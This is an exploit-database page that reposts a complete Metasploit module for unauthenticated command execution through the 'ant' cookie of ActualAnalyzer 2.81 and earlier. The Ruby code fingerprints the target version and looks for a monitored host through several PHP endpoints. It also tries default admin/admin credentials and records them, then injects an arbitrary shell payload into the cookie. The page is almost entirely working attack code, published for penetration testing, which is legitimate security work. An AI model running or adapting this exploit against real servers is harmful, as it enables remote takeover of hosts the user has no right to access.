ActualAnalyzer ant Cookie Command Execution

2014.12.16
Credit: Brendan Coles
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info( info, 'Name' => "ActualAnalyzer 'ant' Cookie Command Execution", 'Description' => %q{ This module exploits a command execution vulnerability in ActualAnalyzer version 2.81 and prior. The 'aa.php' file allows unauthenticated users to execute arbitrary commands in the 'ant' cookie. }, 'License' => MSF_LICENSE, 'Author' => [ 'Benjamin Harris', # Discovery and exploit 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => [ ['EDB', '34450'], ['OSVDB', '110601'] ], 'Payload' => { 'Space' => 4096, # HTTP cookie 'DisableNops' => true, 'BadChars' => "\x00" }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Targets' => [ # Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu ['ActualAnalyzer <= 2.81', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => 'Aug 28 2014', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']), OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']), OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']), OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', '']) ], self.class) end # # Checks if target is running ActualAnalyzer <= 2.81 # def check # check for aa.php res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php')) if !res vprint_error("#{peer} - Connection failed") return Exploit::CheckCode::Unknown elsif res.code == 404 vprint_error("#{peer} - Could not find aa.php") return Exploit::CheckCode::Safe elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/ vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.") return Exploit::CheckCode::Detected end # check version res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php')) if !res vprint_error("#{peer} - Connection failed") return Exploit::CheckCode::Unknown elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body vprint_status("#{peer} - Found version: #{version}") if Gem::Version.new(version) <= Gem::Version.new('2.81') report_vuln( host: rhost, name: self.name, info: "Module #{fullname} detected ActualAnalyzer #{version}", refs: references, ) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Detected elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end # # Try to retrieve a valid analytics host from view.php unauthenticated # def get_analytics_host_view analytics_host = nil res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'view.php'), 'vars_post' => { 'id_h' => '', 'listp' => '', 'act_h' => 'vis_int', 'oldact' => 'vis_grpg', 'tint_h' => '', 'extact_h' => '', 'home_pos' => '', 'act' => 'vis_grpg', 'tint' => 'total', 'grpg' => '201', 'cp_vst' => 'on', 'cp_hst' => 'on', 'cp_htst' => 'on', 'cp_reps' => 'y', 'tab_sort' => '1_1' } ) if !res vprint_error("#{peer} - Connection failed") elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body vprint_good("#{peer} - Found analytics host: #{analytics_host}") return analytics_host else vprint_status("#{peer} - Could not find any hosts on view.php") end nil end # # Try to retrieve a valid analytics host from code.php unauthenticated # def get_analytics_host_code analytics_host = nil res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'code.php'), 'vars_get' => { 'pid' => '1' } ) if !res vprint_error("#{peer} - Connection failed") elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body vprint_good("#{peer} - Found analytics host: #{analytics_host}") return analytics_host else vprint_status("#{peer} - Could not find any hosts on code.php") end nil end # # Try to retrieve a valid analytics host from admin.php with creds # def get_analytics_host_admin analytics_host = nil user = datastore['USERNAME'] pass = datastore['PASSWORD'] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'vars_post' => { 'uname' => user, 'passw' => pass, 'id_h' => '', 'listp' => '', 'act_h' => '', 'oldact' => 'pages', 'tint_h' => '', 'extact_h' => '', 'param_h' => '', 'param2_h' => '', 'home_pos' => '', 'act' => 'dynhtml', 'set.x' => '11', 'set.y' => '11' } ) if !res vprint_error("#{peer} - Connection failed") elsif res.code == 200 && res.body =~ />Login</ vprint_status("#{peer} - Login failed.") elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body vprint_good("#{peer} - Found analytics host: #{analytics_host}") print_good("#{peer} - Login successful! (#{user}:#{pass})") service_data = { address: Rex::Socket.getaddress(rhost, true), port: rport, service_name: (ssl ? 'https' : 'http'), protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, private_type: :password, private_data: pass, username: user } credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL } login_data.merge!(service_data) create_credential_login(login_data) return analytics_host else vprint_status("#{peer} - Could not find any hosts on admin.php") end nil end def execute_command(cmd, opts = { analytics_host: vhost }) vuln_cookies = %w(anw anm) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'aa.php'), 'vars_get' => { 'anp' => opts[:analytics_host] }, 'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`" ) if !res fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out") elsif res.code == 302 && res.headers['Content-Type'] =~ /image/ print_good("#{peer} - Payload sent successfully") return true elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/ vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.") elsif res.code == 200 && res.body =~ /Admin area<\/title>/ fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.") else fail_with(Failure::Unknown, "#{peer} - Something went wrong") end nil end def exploit return unless check == Exploit::CheckCode::Vulnerable analytics_hosts = [] if datastore['ANALYZER_HOST'].blank? analytics_hosts << get_analytics_host_code analytics_hosts << get_analytics_host_view analytics_hosts << get_analytics_host_admin analytics_hosts << vhost analytics_hosts << '127.0.0.1' analytics_hosts << 'localhost' else analytics_hosts << datastore['ANALYZER_HOST'] end analytics_hosts.uniq.each do |host| next if host.nil? vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...") break if execute_command(payload.encoded, analytics_host: host) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top